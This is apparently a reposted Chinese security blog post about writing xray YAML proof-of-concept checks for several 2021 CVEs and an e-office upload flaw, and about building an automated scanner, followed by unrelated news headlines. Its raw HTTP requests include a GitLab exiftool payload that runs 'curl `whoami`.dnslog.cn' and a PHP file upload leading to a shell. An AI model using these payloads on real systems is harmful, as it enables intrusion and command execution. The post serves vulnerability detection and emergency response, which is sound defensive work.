我的漏洞扫描及安全应急之道

编写poc
以xray为例
学习文档
先学习下相关文档,大家挨个看一遍就行,有个印象即可,不用死记硬背。
如何编写yaml格式poc
poc语法v2版
如何编写高质量的 poc
bugscan 插件开发文档
插件编写
官方公布最基础的poc如下
name: poc-yaml-example-com# 脚本部分transport: httprules: r1: request: method: get path: / expression: | response.status==200 && response.body.bcontains(b'example domain')expression: r1()# 信息部分detail: author: name(link) links: - http://example.com  
编写编辑器
poc实践
cve-2021-3654
路径处理出了问题,网站域名加上//example.com/%2f..即可进行url跳转
直接get请求,所以poc很简单,有手就行。
name: poc-yaml-novnc-url-redirection-cve-2021-3654manual: truetransport: httprules: - method: get path: //baidu.com/%2f.. follow_redirects: false expression: | response.headers['location']==//baidu.com/%2f../detail: author: txf(https://github.com/tangxiaofeng7) links: - https://seclists.org/oss-sec/2021/q3/188  
cve-2021-22205
exiftool解析造成的rce
一共发送2个请求
请求1:
get /users/sign_in http/1.1host: xxuser-agent: mozilla/5.0 (macintosh; intel mac os x 10_13_6) applewebkit/537.36 (khtml, like gecko) chrome/69.0.3497.81 safari/537.36accept-encoding: gzip, deflateaccept: */*connection: close  
获取csrf-token
请求2:
post /uploads/user http/1.1host: xxuser-agent: mozilla/5.0 (x11; linux x86_64) applewebkit/537.36 (khtml, like gecko) chrome/41.0.2227.0 safari/537.36accept-encoding: gzip, deflateaccept: */*connection: closecontent-type: multipart/form-data; boundary=----webkitformboundaryimv3mxrg59tkfsx5x-csrf-token: xxx==cookie: xxcontent-length: 879------webkitformboundaryimv3mxrg59tkfsx5content-disposition: form-data; name=file; filename=test.jpgcontent-type: image/jpegat&tform�djvmdirm.�f���޿� !ȑn��ڈ�k�d,q�i�n����?form^djvuinfodinclshared_anno.iffbg44j���7�*�bg44��bg44formdjviantap(metadata(copyright . qx{curl `whoami`.dnslog.cn} . b ) )------webkitformboundaryimv3mxrg59tkfsx5--  
上传图片触发rce。
由于xray目前支持的编码解码有限,不支持hex解码,所以我们直接写的简单点,使用随机字符进行判断,poc很简单,有手就行。
name: poc-yaml-gitlab-cve-2021-22205-rceset: r1: randomint(1, 9999) r2: randomint(1, 9999)manual: truetransport: httprules: - method: get path: /users/sign_in expression: response.status == 200 search: >- name=csrf-token content=(?p.+?) - method: post path: /uploads/user headers: x-csrf-token: |- {{token}} content-type: |- multipart/form-data; boundary=----webkitformboundaryimv3mxrg59tkfsx5 accept: */* body: |- ------webkitformboundaryimv3mxrg59tkfsx5 content-disposition: form-data; name=file; filename={{r1}}.jpg content-type: image/jpeg {{r2}} ------webkitformboundaryimv3mxrg59tkfsx5-- expression: response.body.bcontains(b'failed to process image')detail: author: txf(https://github.com/tangxiaofeng7) links: - https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released  
cve-2021-27905
这是ssrf漏洞,需要使用反连平台,加上reverse的即可,官方写的很详细了。所以poc很简单,有手就行。
name: poc-yaml-solr-cve-2021-27905-ssrfmanual: truetransport: httpset: reverse: newreverse() reverseurl: reverse.urlrules: - method: get path: /solr/admin/cores?indexinfo=false&wt=json expression: | response.status == 200 search: >- name:(?p.+?) - method: post path: /solr/{{name}}/replication/?command=fetchindex&masterurl={{reverseurl}} expression: | reverse.wait(5)detail: author: txf(https://github.com/tangxiaofeng7) links: - https://github.com/murataydemir/cve-2021-27905  
0day应急
不管是甲方还是乙方,一旦暴出新漏洞,应急显得非常重要。
大部分人都是直接写poc批量检测内部应用,当然我也不例外。
举个例子:
泛微e-office 文件上传漏洞风险通告(cnvd-2021-49104)
部署靶场环境
影响版本
泛微e-office v9.0
首先虚拟机安装下。
安装完成后,默认账号admin,密码为空。
poc构造
burpsuite原始包文
post /general/index/uploadfile.php?m=uploadpicture&uploadtype=eoffice_logo&userid= http/1.1host: 10.211.55.11:8080user-agent: mozilla/5.0 (macintosh; intel mac os x 10.15; rv:90.0) gecko/20100101 firefox/90.0accept: */*accept-language: zh-cn,zh;q=0.8,zh-tw;q=0.7,zh-hk;q=0.5,en-us;q=0.3,en;q=0.2accept-encoding: gzip, deflateconnection: closereferer: http://10.211.55.11:8080/login.phpcookie: login_lang=cn; phpsessid=c57f0b37a12cf9dd61e35b909289d1b9pragma: no-cachecache-control: no-cachecontent-type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4content-length: 191--e64bdf16c554bbc109cecef6451c26a4content-disposition: form-data; name=filedata; filename=test1.phpcontent-type: image/jpeg123--e64bdf16c554bbc109cecef6451c26a4--  
访问上传的文件是否生效
编写poc
name: poc-yaml-e-office-v9-upload-getshellmanual: truetransport: httpset: r1: randomlowercase(8)rules: r1: request: cache: true method: post path: /general/index/uploadfile.php?m=uploadpicture&uploadtype=eoffice_logo&userid= headers: content-type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 body: |- --e64bdf16c554bbc109cecef6451c26a4 content-disposition: form-data; name=filedata; filename={{r1}}.php content-type: image/jpeg {{r1}} --e64bdf16c554bbc109cecef6451c26a4-- expression: response.status == 200 && response.body.bcontains(blogo-eoffice.php) r2: request: cache: true method: get path: /images/logo/logo-eoffice.php expression: response.status == 200 && response.body.bcontains(bytes(r1))expression: r1() && r2()detail: author: test links: - https://github.com/chaitin/xray/pull/1540/files  
xray批量
将需要扫描的url写到url.txt里,然后执行如下命令。
./xray_darwin_amd64 webscan --poc /users/txf/poc/e-officev9-upload-getshell.yml --url-file url.txt --html-output result.txt
diy自动化扫描器
之前看了linglong(一款资产巡航扫描系统)的源码,在他的基础上重构了一些功能。
一起看看我是如何把xray加到自动化扫描器中。
扫描器开关
在linglong的基础上,我为扫描器添加了开关。
在代码中定义了一个布尔值来做控制。
端口扫描
跟市面上扫描器意义,使用masscan去扫描存活端口,使用nmap进行端口的指纹识别。
原因:
1.nmap在扫描数量较大的目标时性能缓慢2.masscan在高速率的扫描较大端口范围时结果不太准确  
web指纹扫描
直接用的开源的识别工具加到代码里。
漏洞扫描
在进行xray漏洞扫描之前,先定义扫描目标的格式,代码如下:
然后调用cmd终端执行xray扫描即可。
结果通知
直接写一个企业微信机器人的通知。
当然也可以用xray自带的webhook通知,没用过,这里感兴趣的可以试试。
端口指纹界面:
漏洞界面:
当然如果是企业自查xray肯定可以开启扫描,如果是src扫描的话不建议开xray去扫描,动静太大了。
尾声
如果针对外网扫描的话,建议再加上waf识别,cdn识别,否则效率会很低,还容易被封ip。
总的来说挖掘src,更重要的是信息收集。
这就是目前安全应急和漏洞扫描的方法,欢迎大家积极交流。
作者:tangxiaofeng7, 转载于freebuf.com


未来3-5年内,量子技术价值有望达50亿-100亿美元
吴京代言的AGMX2手机怎么样呢?值得购买吗?
咪咕数字向原告李现索赔经济损失10000元
智能汽车堆砌好多伪需求 智能化的基础是用户的真正需求
新能源汽车产业规划落地 未来要加强关键共性技术供给
我的漏洞扫描及安全应急之道
新配色好性能高屏占比,三星S8能否力挽狂澜?
关于霍尼韦尔Dolphin 99EX 移动数据终端的分析和介绍
全球已封装MEMS麦克风供应商营收排行榜,楼氏称霸
窄带放大器的主要作用
详解我国甚至全球最大的光伏发电站
MIMO-OFDM的工作原理及关键技术分析
手工焊接是一门艺术,需要技巧、领悟力、灵巧性和适当的工具
Fluke 15B+的数字万用表性能特点及技术指标分析
产业供应链在国民经济中有多重要?
华为MateBook X Pro即将发布搭载第8代i7处理器屏占比达到了91%
Gartner:华为、小米等中国大陆品牌推动2018年第三季度全球智能手机销量增长
电感式传感器产品特性探讨和在汽车制造业的应用
凌力尔特推出业界首款RMS检波器LTC5587
USB-CAN-RS232总线转换电路设计及实现